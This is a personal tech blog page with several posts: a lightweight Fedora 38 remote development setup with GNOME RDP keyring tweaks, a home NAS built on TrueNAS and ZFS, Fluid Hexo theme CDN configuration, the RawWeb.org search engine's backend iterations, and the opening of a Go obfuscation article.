配置轻量级 Linux 远程开发环境(Fedora 38)

2023年7月14日 17:02

首先选一个发行版,需要软件源够全够新,但不一定每天都用,所以不要滚动更新。这次选择 Fedora Workstation 38,然后精简 GNOME 等服务,最终实现:

  • 空闲时内存占用低于 300MB
  • 桌面环境随用随开

基础配置

  • 开启 sshd:
sudo systemctl start sshd
sudo systemctl enable sshd
  • 修改主目录文件名为英文:
export LANG=en_US
xdg-user-dirs-gtk-update

转换后重新设置系统语言为 zh_CN,重启,登录时选中不转换和不再提示。

sudo rm /etc/yum.repos.d/_copr\:copr.fedorainfracloud.org\:phracek\:PyCharm.repo
sudo rm /etc/yum.repos.d/rpmfusion-nonfree-steam.repo
  • 安装 Go + nvim 开发工具:
sudo dnf install vim neovim go gcc-c++

删除软件更新服务

刚开机的内存占用就有 1.5GB,其中 packagekitd 占很大一部分。

PackageKit 是一个 dnf、apt 之类包管理工具的通用抽象层。但是我只用 dnf,不需要 gnome-software 等“高级”工具,更何况还有大量资源占用等问题。

所以把这两个组件删掉:

sudo dnf remove gnome-software PackageKit

节省了 600MB 内存。

关闭 GNOME 桌面环境

大部分时间是 SSH 使用,只有特殊情况才会 RDP 远程桌面连接。所以关闭 gdm(GNOME Display Manager) 来节省资源占用(参考):

sudo systemctl stop gdm
sudo systemctl disable gdm

需要时再手动开启:

sudo systemctl start gdm

节省了 600MB+ 内存。

远程桌面

需要使用桌面环境时,先启动 gdm,再远程连接。

自动登陆+解锁远程登陆密码

这个版本的远程桌面由 GNOME 内置实现,需要有一个正在运行的用户会话,所以要先用 VNC 登陆。

为了方便,可以设置 GNOME 自动登陆(文档):

# /etc/gdm/custom.conf

[daemon]
AutomaticLoginEnable=True
AutomaticLogin={{ username }}

但会发现每次自动登陆后远程桌面密码都被重置为了随机密码。这是由于系统上服务的密码是以加密形式存储于密钥环(keyring),默认密钥环的解锁密码就是登陆密码,在用户正常登录时会一起解锁。但自动登陆没有输入密码来解锁,所以 GNOME 读取不到其中中加密的远程登陆密码,就会随机生成一个新密码。

如果把默认的密钥环密码设置为空,系统上所有存储的密码都会是明文,不安全。

参考网友的方法,创建一个无密码的不安全密钥环来单独存放 RDP 密码:

  1. 安装密钥环管理工具,安装后可以找到「密码和密钥」应用:
sudo dnf install seahorse
  1. 在工具中,查看默认的「登陆」密钥环,里面应该已经存放了名为「GNOME Remote Desktop RDP credentials」的远程桌面密码,删除这条记录
  2. 创建一个新的密钥环,密钥环的密码设为空,将该密钥环设为默认
  3. 重启系统以应用新的默认密钥环
  4. 设置远程桌面密码,再次查看之前创建的新密钥环,里面应该已经有了「GNOME Remote Desktop RDP credentials」这条记录。之后远程桌面会使用该密钥环读取和设置密码
  5. 恢复默认密钥环为原先的「登陆」,重启系统

注意:要修改默认密钥环来让 GNOME 创建密码条目,这种记录会显示为「密码或密钥」,而手动创建的密码记录显示的是「已保存的便签」,测试发现不会被 GNOME 使用。

锁屏时使用远程桌面

根据 GNOME 远程桌面的设计,远程和本地的屏幕是同步的,本地屏幕锁定时,远程桌面的连接就会断开。

这与 Windows 接入远程桌面后就会让本地桌面自动进入锁定的运作方式不同。并且 GNOME 官方没有对这个功能请求做正式回复。

目前暂时关闭了自动锁屏。

我的初代 NAS

2022年4月20日 22:38

我莫名其妙的习惯之一,是当数据存入一个我认为可信的云服务后就会在本地删除,以至于老电脑里的数据加虚拟机都用不满 256GB。可近半年发生了太多魔幻的制裁、封号以及 log4shell 全球大联欢,不禁让人感到互联网是如此脆弱,数据还是握在自己手里最踏实,于是对 NAS 的渴望逐日指数级增加。

从开始搜集资料到确定软硬件方案断断续续有一个月的时间,从正式开始使用到现在也过了一个多月,我的日常存储场景基本都体验过了,稳定性和易用性还是很令人满意的,考虑到未来可能频繁升级,所以暂且命名为初代。

硬件

经过一段时间的高强度熬夜刷帖,看了很多自攒硬件方案,考虑到淘硬件的踩坑成本和时间精力,终于还是打消了攒新机器的想法,高效利用已有的设备。

现在手边有一台作为透明代理的 Intel NUC7CJYH 和一台作为家用服务器的主机,本着尽可能不 All-in-One 的原则,首先在 NUC 上做尝试。这台机器优点是小巧精致、功耗低,做 NAS 性能足够,与服务器分离可以防止哪天被我一起玩崩了。缺点是扩展性为零,单网口单 2.5 寸 SATA,想要用 3.5 寸机械盘只能 USB 3 外接硬盘盒。于是我又转头去调研硬盘盒/笼,入手了一个优越者单盘位硬盘盒,可以独立供电。NUC 上开一个直通 USB 的虚拟机,测试中除了 SMB 传输时 CPU 吃紧之外没太大问题,但犹豫再三都不放心 USB 外接,存储服务毕竟要稳定优先,所以简单体验后就放弃了这个方案。而服务器主机的硬盘恰好都在 M.2 上,SATA 完全空闲,于是经过长时间测试,就有了目前的「虚拟机运行 NAS 系统 + 直通 SATA 控制器」方案。

唯一额外的花费是机械硬盘,参考 UP 主钱韦德的视频入手了西数紫盘 4T 海康威视版本,可以用海康的质保。虽说是监控盘,但根据搜到的信息来看完全可以当 NAS 盘用,到手后实际体验良好。

从硬盘容量、级别也可以看出,比起动辄十几块氦气盘的 NAS 玩家,我只能算是超级轻度用户,硬件就将就一下吧。在未来有更高的存储要求时,我大概会买 HPE MicroServer 之类的成品家用服务器作为独立的存储设备,省去硬件选择和测试的烦恼。

调研期间收集了一些质量挺高的资料,贴在下面分享给需要的同学。

完整方案:

硬件:

机箱:

软件

作为存储服务,一个靠谱的文件系统是软件层最重要的。问问你的谷歌 which is the best file system for nas,我猜第一个结果就是 ZFS

ZFS 具有可扩展性,并且包括大量保护措施防止数据损坏,支持高存储容量、高效数据压缩、集成文件系统、卷管理、快照和写时复制、连续完整性检查与自动修复、RAID-Z、原生 NFSv4 ACL 等功能

现在一般指 OpenZFS,是原 Oracle Solaris ZFS 的开源实现。在查阅 ZFS 资料时经常看到必须搭配 ECC 内存的说法,但根据 OpenZFS 文档来看使用条件并没有那么苛刻:

Misinformation has been circulated on the FreeNAS forums that ZFS data integrity features are somehow worse than those of other filesystems when ECC RAM is not used[2]. That has been thoroughly debunked[3]. All software needs ECC RAM[4] for reliable operation and ZFS is no different from any other filesystem in that regard.

话说回来,我的 5600G 压根也不支持 ECC。

确定了文件系统后,剩下的就是组合各种工具来实现需要的功能,例如我的 NAS 选型与搭建过程(基于开源方案),也可以选择已经封装好的系统,例如 TrueNASOMV

时间紧任务重,我选择了 TrueNAS,其吸引我的点是使用 ZFS、开源、社区活跃、有商业公司支撑。TrueNAS 有 Core 和 Scale 两个版本,前者基于 FreeBSD,是迭代了很久了的稳定版本,后者是近几年刚开始做的 Linux(Debian) 版本,今年二月才放出第一个 release。之前用 NUC 测试时感觉 Scale 与 PVE 的驱动结合更好一些,在文件传输测试中 Scale 的 CPU 平均低 10% 左右,社区中也有类似的性能差异,所以最终选择了新鲜的 Scale。

由于 TrueNAS 本身是一台虚拟机,所以没有用其内置的虚拟化和 K3s 来运行应用,而是让运行服务的虚拟机挂载 NFS。存储和应用在软件层分开是我最后的倔强。

数据保护

ZFS 加密 & 快照

ZFS 原生具有加密的能力,并且在用户态设置的密钥只是加密了底层用于数据加密的主密钥,所以在主密钥没有暴露的情况下可以随意更换上层密钥而无需重写整个数据集。但是否开启加密要在数据集创建阶段就确定,创建完成后无法再转换,所以我加密了所有数据集。硬盘在脱离挂载后数据集变为锁定状态,不需要再担心搬家丢失硬盘或硬盘送修导致的数据安全问题。

现在该关心 NAS 正常运行时的数据保护措施了。由于硬件上的将就,目前的方案无法从软件上解决宇宙射线导致比特反转这种事情,但防止手残误删数据还是可以的。原本想仿照时间机器的设定——过去 24 小时的每小时备份、过去一个月的每日备份以及过去所有月份的每周备份——来设置快照,但我这墨菲特般聪明的大脑实际上很难回想起几周之前的改动细节,所以目前只设置了短期快照,后续再根据使用情况调整。

数据 频率 存放时间 保留空快照
文档、照片 2 周
文档、照片 1 年

作为一个先进的文件系统,ZFS 还有很多特性保证了数据的完整性和安全,日后再慢慢探索。

异地备份

根据 3-2-1 原则,数据应至少有 3 个副本,存储在 2 种不同类型的存储介质上,其中 1 个副本应该保存在异地。但鉴于经常刻光盘或磁带不太现实,我就只做到了 2-1-1。异地备份是为了避免极端情况导致本地硬盘数据完全丢失,虽然做了认真的设置和测试,但我还是希望永远都用不上。

数据 频率 云存储
应用数据 OneDrive
文档、照片 OneDrive
文档、照片 B2
备份 OneDrive

OneDrive 是与同事拼车的家庭版,1T 容量足够存放重要数据。B2(Backblaze) 是一家口碑不错的云存储服务商,价格是 S3 的四分之一,有 10GB 的免费额度,对于轻度用户来说非常划算。另外,硬盘相关帖子中经常有人提到的硬盘使用报告也是他们家的。B2 也提供了快照、文件历史版本的功能,但对我来说云端只保留最新版本就好。

TrueNAS 的 Cloud Sync 是用 rclone 实现的,可以做到文件级增量上传和上传前加密。而另一个比较火的开源备份工具 restic 可以将文件切片从而实现更细粒的增量备份。所以目前我认为最好的方案是:

  1. restic 备份整个数据盘到备份盘,然后再用 rclone 上传到云存储
  2. 使用支持 zfs-send/zfs-receive 云服务商

未来不用 TrueNAS 时会尝试这些方案。

短期体验总结

总的来说,这套方案有很多明显的缺陷:非独立硬件、没有 RAIDZ、没有 UPS。不过作为年轻人的第一台 NAS 我还是很满意的,预期至少可以服役两年。

功耗方面,主机运行 PVE 待机 22W,TrueNAS 虚拟机无硬盘待机 24W,挂载两块盘 28W,很是环保。噪音方面,恰好最近十多天隔离在家,主机就在我左侧一米的位置,除了偶尔会听到硬盘炒豆子声,大部分时间并不会感受到 NAS 的存在。只是增加一点噪音和一点电费,却带来了极大的安全感。

从 Material-T 到 Fluid

2019年9月24日 09:30

关于项目转移

用 Material-T 的同学应该注意到了,Material-T 已经更名为 Fluid 并转移到了 Fluid-dev 组织。之前在 issue #74 里简单解释了一下,其实原因也就是那么简单,我觉得 Material-T 交给社区比在我手里更靠谱,之前跟 @zkqiang 老哥合作开发的过程很流畅,也让我确信社区合作式的工作流不会增加时间成本(废话😂)。

下面简单说一下最近的更新,写完这篇以后就不再针对主题的更新水博客了,Release 里写的很清楚,我再 bb 就没必要了。

新功能

配置自动合并

对于 Hexo 主题更新这个大难题,总归是做了一次尝试,从 Theme configurations using Hexo data files 学来的(NexT 牛逼),现在体验还不错。

思路就是利用 Hexo 的数据文件功能,此功能要求 Hexo 3.0+。

有时您可能需要在主题中使用某些资料,而这些资料并不在文章内,并且是需要重复使用的,那么您可以考虑使用 Hexo 3.0 新增的「数据文件」功能。此功能会载入 source/_data 内的 YAML 或 JSON 文件,如此一来您便能在网站中复用这些文件了。

具体配置请参考文档和 实现平滑升级

自定义静态资源地址

(v1.5.0 版本及以上)如果需要使用 CDN 或其他方式存放静态资源:将 _static_prefix.yml 复制到博客根目录的 /source/_data/ 中,重命名为 fluid_static_prefix.yml并按自己的需求修改配置。若 _data/fluid_static_prefix.yml 存在则会自动覆盖 /theme/fluid/_static_prefix.yml

博客托管在 GitHub Page 的话可能对有些地区访问速度不太友好,所以可以将第三方的资源引用改为靠谱的公共 CDN 服务商,比如 cdnjsjsDelivr。有家底的同学可以用自己的 CDN 服务。

比如我的博客是托管在 GitHub Pages 的,国内访问速度不理想,而 jsDelivr 有在大陆部署节点,而且可以直接缓存 GitHub 仓库中的文件,所以选择 jsDelivr 优化一下加载速度。比如 fluid/source/lib/ 中的各种第三方库,我用 https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib 作为前缀,这个 url 的各个部分的意思即为:

gh => 从 GitHub 拉取资源
fluid-dev/hexo-theme-fluid => github.com/fluid-dev/hexo-theme-fluid 仓库
@1.5.0 => 指定版本 release v1.5.0
source/lib => 仓库的相应目录

这里只针对 source/lib 目录下的资源,是因为 source/js source/css source/img 的文件较小且没有全部用到,没必要上 CDN,而且 CSS 文件需要实时编译。source/lib 下的文件是稳定的,直接引用就可以了。

上述方式修改之后的 fluid_static_prefix.yml

internal_js: /js
internal_css: /css
internal_img: /img

anchor: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/anchor

font_awesome: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/font-awesome

github_markdown: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/github-markdown

jquery: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/jquery

bootstrap: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/bootstrap

mdbootstrap: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/mdbootstrap

popper: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/popper

prettify: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/prettify

prettify_theme: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/prettify

tocbot: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/tocbot

typed: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/typed

经过测试,效果是很显著的,原本不挂代理需要 10s 左右才能显示轮廓的首页,使用 jsdelivr 配合懒加载功能,现在不挂代理也仅仅需要 1s。以后在更新的时候只需要把 1.5.0 改为相应的版本号即可。

当然也可以选择各个第三方库对应的 CDN,但要注意选用对应的版本。

lazyload

Fluid 也算是比较靠图片的主题,优秀的图片搭配会引导整个站点的风格。为了提高首屏加载速度(主要是我也不会优化其他的....),给图片做了懒加载,只有出现在视口的图片才会加载 现在是提前一段滚动距离加载。本想用现成的 lazysizes 库实现,但是实践的时候刷到了 图片 lazyload 的学问和在 Hexo 上的最佳实践,其中提到的思路是利用 srcset 属性优先级高于 src 的特性,既保证不支持 srcset 的爬虫、RSS 阅读器等可以读到 src 属性不至于抓取到一个有空白占位图的页面中,又可以让页面初次渲染的时候只加载很小的 loading 图。具体的实现参考了文中的代码,填了一些坑。

其他

  • 新配置项 about.md_path 用于指定 about.md 的路径
  • i18n && 中英 README 什么叫国际化主题啊(战术后仰)
  • 向下滚屏 && 向顶部滚屏

优化

  • 新 logo
  • 延迟打字机效果:#65
  • 统一默认的 banner_img:精简主题包大小,统一默认的风格
  • 可以指定 about.md 的存放位置:方便实现平滑更新
  • 优化首页文章摘要区的高度限制:当手动设置摘要时(摘要优先级:手动 > 自动),首页文章摘要区的高度不再锁定。方便喜欢不加文章缩略图的同学展示更多文章内容。如果已为文章添加首页缩略图,建议开启自动摘要或手动设置字数合适的摘要。

bug fix

  • 修复 valine 加载问题
  • 移除顶部进度条
  • 修复读取文件时路径错误

平滑更新指北

当前利用了数据文件的 Fluid 已经可以实现平滑更新了:下载最新 Release 并解压、改名、直接覆盖原主题即可。 当然需要做以下前提准备:

  1. 在 Hexo 的 source 目录下新建 _data 文件夹
  2. 将 Fluid 中的 _config.yml 和 _static_prefix.yml 拷贝到步骤 1 的文件夹中,分别改名为 fluid_config.yml 和 fluid_static_prefix.yml
  3. 将自定义的资源文件移动到主题之外,比如图片存放到 /source/images/,about.md 存放到 /source/about.md
  4. 将主题配置中的 banner_img、about.md 修改为上一步自定义的存放位置。比如按照如上配置的话,图片链接就是 /img/your_img_name.png,about.md 的位置就是 ../../source/about.md
  5. 下次更新就只需要用新的 Release 覆盖旧 Fluid 文件夹就可以了。当然也需要关注一下更新内容有没有涉及到配置文件或静态资源文件,及时更新存放在 /source/_data 下的数据文件

The first three iterations of RawWeb.org's tech stack

2025年2月8日 12:25

RawWeb.org is a search engine project I launched in 2024-08. The initial goal was to help more people discover personal digital gardens that are often overlooked by mainstream search engines. I also wanted to explore some interesting tech stacks through practical implementation.

Currently, it has indexed 17k sites and 615k articles. Feel free to submit your favorite independent blogs.

This article only represents my personal experience and views.

Middleware

PostgreSQL is used as the database, instead of SQLite, because I might need Pg's rich plugins in the future. Redis is used for caching. RabbitMQ is used as the message queue.

Additionally, a search engine requires crawler and full-text search capabilities.

Elasticsearch is used for full-text search. The reason for not implementing inverted indexing myself or using lightweight solutions like Meilisearch is that ES has better Chinese tokenizers.

To reduce potential risks and development complexity, the crawler only obtains data from websites' RSS feeds. Therefore, the crawler is simply implemented as an HTTP requester and RSS parser.

Keeping things simple, all the above components are deployed as single-node, without any optimization tricks (I don't know how).

Multi-language Content Support

This is a search engine capable of indexing content in multiple languages, where tokenization quality determines search result quality.

To configure specialized tokenizers for different languages, multiple fields are set up in Elasticsearch, such as content-en, content-zh, to store content in different languages.

This involves:

  • Natural language detection
  • Routing content to dedicated fields with specialized tokenizers

First, clean the raw content:

  1. Parse HTML, remove useless tags like style, script;
  2. Remove code, URLs, and other content as much as possible to avoid affecting language detection accuracy;
  3. Remove HTML and XML tags to get plain text;
  4. Remove excess whitespace characters.

Then identify the content's language. There are two approaches:

The first is lingua, which has implementations in Python, Go, and other languages. It has excellent performance and accuracy, and allows selective loading of language models. The downside is that it increases the executable size by about 100MB.

The second is Elasticsearch's built-in lang_ident_model_1, which requires creating a pipeline to call. In testing, the accuracy was good but performance was an issue. With the same data, it was 4 times slower than the Python version of lingua running on lower-spec hardware. I suspect this is because lang_ident_model_1 needs to test all supported languages, while lingua only needs to load a few language models.

Considering performance and flexibility, lingua was ultimately chosen. Lingua has high and low accuracy modes, with low accuracy offering about 2x performance improvement without significant accuracy loss for inputs over 120 characters. So currently, a hybrid approach of high and low accuracy detection is used, with input being the title and content sampling. In actual testing, detecting one article only takes 100μs.

Once the content's language is determined, the best tokenizer can be set for it. Based on W3Techs' estimated internet content distribution, separate tokenizers are set for the most mainstream languages - Chinese, English, Spanish, Russian, German, French, and Japanese, while other languages use the default tokenizer.

Backend

The crawler is a simple Go program. The main backend went through three iterations with Django, Nest.js, and Go.

v1 - Django

Tech stack:

  • Django v5
  • django-ninja as API endpoint
  • huey as task queue, though I only used it for managing scheduled tasks
  • uv as package manager

I had been recommended Django multiple times before, and I wanted to learn a batteries-included framework through this project. Considering it has Django Admin, I used it for prototype development.

Django's documentation quality is among the best I've seen, making it very pleasant to read. Since the project is frontend-backend separated and doesn't use built-in plugins like auth and view, Django's "batteries" didn't reduce my workload, and the overall development experience wasn't particularly exciting.

Considering the framework's stability and community prosperity, I would probably like Django if I were a dynamic language enthusiast. Unfortunately, I've been deeply influenced by Go's philosophy, and Django's level of "magic" exceeded my comfort zone, like using field name + double underscore + method name to build query conditions. BTW, It's hard to imagine I once wanted to learn RoR.

Finally, after development was complete, even with all built-in plugins disabled, async maximally utilized, and Uvicorn in use, the load test results were far below my expectations. So I started looking into rebuilding with Node.js.

v2 - Nest.js

Tech stack:

  • TypeScript
  • Components wrapped by Nest
  • Prisma as ORM

Since the main latency in a search request comes from waiting for Elasticsearch, with the web service mainly acting as a request forwarder, this I/O-intensive scenario is very suitable for Node.js.

Popular frameworks include Nest.js and Adonis.js, and I ultimately chose the more popular Nest. Don't ask why not Express or Fastify - they're not frameworks.

Nest seems more like a dependency injector plus multiple officially maintained components (modules). Although it includes common components like cache and message queue, from my observation, most are wrappers around third-party libraries, so Nest users don't need to piece things together themselves. However, even with official wrappers, I was still unfortunately affected by underlying library changes (cache-manager@6).

For developers with Java/Spring background, Nest might be great. But for me, Nest's various decorators, pipes, and other concepts created a heavy mental burden. When switching back to a Nest project after two or three months, I needed to review the documentation to confirm their usage.

Additionally, while the documentation appears comprehensive, its quality is far below Django's. For example, I couldn't understand the module lifecycle part from the documentation alone, and finally had to rely on an article analyzing the source code to roughly figure it out.

Exploring new technology is always good, but choosing Nest for this project was a mistake because the project's complexity was even less than the complexity Nest introduced.

v3 - Go

Tech stack:

  • Echo as API endpoint
  • GORM Gen as ORM

Based on the previous two experiences, I've temporarily demystified batteries-included frameworks. After coming full circle, I found my true love was still the original - Go.

I previously had two main complaints about web development with Go:

  • The syntax is too basic, making CRUD uncomfortable
  • Lack of good ORM or SQL builder

Fortunately, both issues have been largely resolved.

Thanks to the development of LLM and AI IDE, Go's basic syntax is no longer a disadvantage but has become somewhat of an advantage (to me), as LLMs can very easily understand the code, and AI completion is very accurate.

Regarding ORM, a quite popular opinion in the Go community is that "ORM is harmful," preferring approaches like sqlc generating Go code from SQL, or sqlx directly using SQL. ORM indeed sometimes makes simple things complex - for example, Prisma only recently started supporting true JOIN. However, a well-designed, type-safe ORM can greatly improve CRUD experience.

GORM Gen made me fall in love with GORM again. Through code generation, it not only achieves type safety but, more importantly, can generate Go code from custom SQL, meaning I have almost full SQL capabilities.

Thus, this code refactoring with Go was very enjoyable, except for the disastrous official Elasticsearch SDK.

Go also reduced the infra burden, no longer needing multi-stage builds in Dockerfile (without CI server or GitHub Action, the previous two tech stacks required building Docker images after pushing code to production environment).

Keeping things simple, I also removed RabbitMQ, instead using a database table to store tasks and providing an API for the crawler to sync data. Since Redis might be simplified away in the future, I didn't use Redis as message queue here.

Alternatives

There are some interesting options I passed on but might try in the future:

  • C# & .Net. I've heard C# is very enjoyable to write with, and .Net is a great enterprise framework. But I'm not interested in OOP, and I'm concerned about whether Microsoft might make risky moves in .Net open source work again (Hot Reload removed from dotnet watch - Why?).
  • Elixir & Phoenix. Elixir's features seem very suitable for high-concurrency scenarios, and the development experience is very good. But I currently don't have the energy to learn functional programming.

<details> <summary>Easter egg</summary> Are you looking for Rust? Haha, I'll never learn it for web development. </details>

Frontend

The frontend uses my favorite SvelteKit, compiled into hybrid SSG and SPA pages. UI components are from shadcn-svelte.

React is good, but I equally dislike most things in its ecosystem, especially Next.js. I don't understand why the community keeps getting "richer" while making developers more miserable. Svelte is currently my painkiller, and I recommend you try it too.

Infrastructure

Avoiding vendor lock-in, only using generic infra technologies:

  • Backend services are orchestrated with Docker Compose, compiled and deployed to VPS by a simple Shell script
  • Main backend services use Hetzner's Arm VPS, currently two Debian instances with 2 vCPU + 4G RAM (Great value for money, welcome to use my aff to register, you'll get €20 credit)
  • Crawler service is on another budget VPS
  • Web pages, CDN, DNS are on Cloudflare
  • Monitoring service uses self-hosted Uptime Kuma, and some services are connected to New Relic

Future plans include setting up a Prometheus + Grafana observability system to visualize metrics like search volume and new indexing volume.

RawWeb.org 的前三次技术栈迭代

2025年2月7日 23:42

RawWeb.org 是我在 2024-08 启动的一个搜索引擎项目,初衷让更多人看到被主流搜索引擎忽视的个人数字花园,另外也想在实践中探索一些感兴趣的技术栈。

目前已经收录了 17k 个站点,615k 篇文章。欢迎提交你收藏的独立博客。

本文仅代表个人的体验和观点。

中间件

数据库使用 PostgreSQL,没用 SQLite 是因为可能以后要用到 Pg 丰富的插件。缓存是 Redis。消息队列使用 RabbitMQ。

除此之外,一个搜索引擎还必备爬虫全文搜索能力。

全文搜索使用 Elasticsearch,不自己实现倒排索引或用 Meilisearch 等轻量方案是因为 ES 有更好的中文分词器。

为了降低潜在风险和开发难度,爬虫仅从网站的 RSS 中获取数据源。所以爬虫的实现就是一个简单的 HTTP 请求器和 RSS 解析器。

一切从简,上述所有组件都是单节点部署,也没有特殊的调优技巧(我不会)。

多语言内容支持

这是一个能索引多种语言内容的搜索引擎,分词的质量决定了搜索结果的质量。

为了给不同语言配置专用分词器,在 Elasticsearch 中设置了多个字段,比如 content-encontent-zh,来存放不同语言的内容。

这涉及到:

  • 识别自然语言。
  • 将内容分流到专用字段,设置专用分词器。

首先清洗原始内容:

  1. 解析 HTML,去除 style、script 等无用标签;
  2. 尽可能去除代码、URL 等内容,避免干扰语言识别的准确性;
  3. 去除 HTML、XML 标签,获取纯文本;
  4. 去除多余的空白字符。

然后识别内容的所属语言。有两种方案:

第一种是 lingua,有 Python 和 Go 等语言的实现。性能和准确度都很优秀,还可以选择性加载语言模型。缺点是会让可执行文件增加 100MB 左右。

第二种是 Elasticsearch 内置的 lang_ident_model_1,需要创建 pipeline 来调用。实测下来准确度还不错,但是性能有问题。同等数据下,速度竟然比运行在更低配置服务器上的 Python 版 lingua 慢 4 倍。我猜是因为 lang_ident_model_1 需要测试其支持的所有语言,而 lingua 只需要加载少量语言模型。

考虑到性能和灵活性,最终使用了 lingua。lingua 有高准确度和低准确度两种模式,低准确度性能提升约 1 倍,并且只要输入在 120 字以上就不会损失过多准确率。所以目前采用了高、低准确度混合识别,输入为标题和内容抽样,实际测试中检测一篇文章只需 100μs。

确定了内容的语言,就可以为其设置最佳的分词器。根据 W3Techs 预估的互联网内容含量,为最主流的中、英、西、俄、德、法、日语言单独设置分词器,其他语言使用默认分词器。

后端

爬虫是一个简单的 Go 程序。而后端主体先后经历了 Django、Nest.js、Go 三次重构。

v1 - Django

技术栈:

  • Django v5。
  • django-ninja 作为 API 入口。
  • huey 作为任务队列,实际上我只用它管理定时任务。
  • uv 作为包管理工具。

此前被多次安利过 Django,我也很想通过这个项目学习一个 batteries-included 框架。考虑到有个 Django Admin,于是将其用作原型开发。

Django 的文档质量是我目前见过的最高之一,读起来非常舒服。因为项目是前后端分离,且没有用到 auth、view 等内置插件,所以 Django 的 "batteries" 没能减轻我的负担,整个开发体验也没有给我很大的惊喜。

考虑到框架的稳定性和社区繁荣度,如果我是动态语言爱好者,应该会喜欢 Django。可惜我已经被 Go 打上了深深的思想钢印,Django 的“魔法”含量超出了我的接受范围,比如 ORM 用字段名+双下划线+方法名来构建查询条件。很难想象我曾经很想学 RoR。

最终,在开发完成后,即使关闭了所有内置插件、尽可能地使用 async、使用 Uvicorn,压测结果也远低于我的预期。于是我开始研究用 Node.js 进行重构。

v2 - Nest.js

技术栈:

  • TypeScript。
  • Nest 封装的各种组件。
  • Prisma 作为 ORM。

由于一次搜索的主要耗时是等待 Elasticsearch,Web 服务主要是作为一个请求转发器,这种 I/O 密集型场景非常适合 Node.js。

热门框架有 Nest.js 和 Adonis.js,我最终选择了更流行的 Nest。别问为什么不是 Express 或 Fastify,它们不是完备的框架。

Nest 似乎更像是一个依赖注入器加多个官方维护的组件包。虽然内置了缓存、消息队列等常用组件,但据我观察大都是对第三方库的封装,让 Nest 的用户不需要自行东拼西凑。但即使有官方的封装,我仍然不幸被底层库变更波及到了(cache-manager@6)。

对于具有 Java/Spring 背景的开发者来说,Nest 或许很不错。但对我来说 Nest 的各种装饰器、管道等概念让我有很重的记忆负担。时隔两三个月再切换回 Nest 项目时,我需要重新去翻看文档才能确定各种它们的用法。

另外,文档看起来比较丰富,但质量远不如 Django。比如模块生命周期部分,我实在没能靠文档搞懂,最终是靠一篇源码分析的文章才大概捋清了思路。

接触新技术总是好的,但对于这个项目来说选择 Nest 是错误的,因为项目的复杂度甚至不如 Nest 引入的复杂度。

v3 - Go

技术栈:

  • Echo 作为 API 入口。
  • GORM Gen 作为 ORM。

基于前两次体验,暂时对 batteries-included 框架祛魅了。兜兜转转,发现真爱还是最初的那个—— Go。

曾经我对用 Go 进行 Web 开发的不满有二:

  • 语法过于简陋,CRUD 很难受。
  • 没有好用的 ORM 或 SQL builder。

幸运地是,这两个问题都基本得到了解决。

得益于 LLM 和 AI IDE 的发展,Go 的简陋语法不仅不再是劣势,反而一定程度上成为了优势,因为 LLM 能非常容易地理解代码,AI 补全的准确率非常高。

说到 ORM,Go 社区中相当流行的观点是“ORM 有害”,更倾向于 sqlc 由 SQL 生成 Go 代码,或 sqlx 直接使用 SQL 的方式。ORM 确实有时让简单的事情变复杂,比如 Prisma 直到近期版本才支持使用真正的 JOIN。但一个 API 设计良好、类型安全的 ORM 能极大提升 CRUD 体验。

GORM Gen 让我重新喜欢上了 GORM。借助代码生成,不仅能实现类型安全,更关键的是能由自定义 SQL 生成 Go 代码,这意味着我拥有几乎满血的 SQL 能力。

于是,这次用 Go 进行的代码重构过程非常愉快。除了灾难级的 Elasticsearch 官方 SDK。

Go 还减轻了 infra 的负担,不需要再在 Dockerfile 中设置多阶段构建(没有 CI 服务器或 GitHub Action,前两种技术栈都是推送代码到线上环境构建 Docker image)。

考虑到一切从简,我还去掉了 RabbitMQ,转而使用一张数据表存放任务,提供一个 API 让爬虫同步数据。因为未来可能精简掉 Redis,所以这里没有用 Redis 做 MQ。

备选项

还有一些有兴趣但放弃的方案,可能以后有空了会试试:

  • C# & .Net。久闻 C# 写起来让人幸福感满满,.Net 也是很好的企业级框架。但是我对 OOP 没有兴趣,也担心微软是否在 .Net 开源工作中再次做出危险行为(Hot Reload removed from dotnet watch - Why?)。
  • Elixir & Phoenix。Elixir 的特性似乎非常适合高并发场景,开发体验也非常不错。但我目前没有学习函数式编程的精力。

<details> <summary>彩蛋</summary> 你是不是在找 Rust?哈哈,我永远不会学它来写 Web 的。 </details>

前端

前端使用我最爱的 SvelteKit,编译为 SSG 和 SPA 混合页面。UI 组件为 shadcn-svelte。

React 很好,但我平等地讨厌这个生态中的大部分东西,特别是 Next.js。我不明白为什么社区越来越“丰富”,却让开发者越来越痛苦。Svelte 暂时是我的止痛药,推荐你也试试。

基础设施

拒绝 vendor lock-in,只使用通用的 infra 技术:

  • 后端服务使用 Docker Compose 编排,由一个简易的 Shell 脚本编译并部署到 VPS。
  • 主要后端服务用的是 Hetzner 的 Arm VPS,目前是两台 2 vCPU + 4G RAM 的 Debian。(性价比超高,欢迎用我的 aff 注册,你能获得 €20 额度)。
  • 爬虫服务在另一家廉价 VPS。
  • 前端、CDN、DNS 等在 Cloudflare。
  • 监控服务用的是自建的 Uptime Kuma,以及一小部分服务接入了 New Relic。

未来计划自建一套 Prometheus + Grafana 可视化观测系统,统计搜索量、新增收录量等指标。

初探 Golang 代码混淆

2021年5月19日 23:22

本文首发于 Seebug

近年来 Golang 热度飙升,得益于其性能优异、开发效率高、跨平台等特性,被广泛应用在开发领域。在享受 Golang 带来便利的同时,如何保护代码、提高逆向破解难度也是开发者们需要思考的问题。

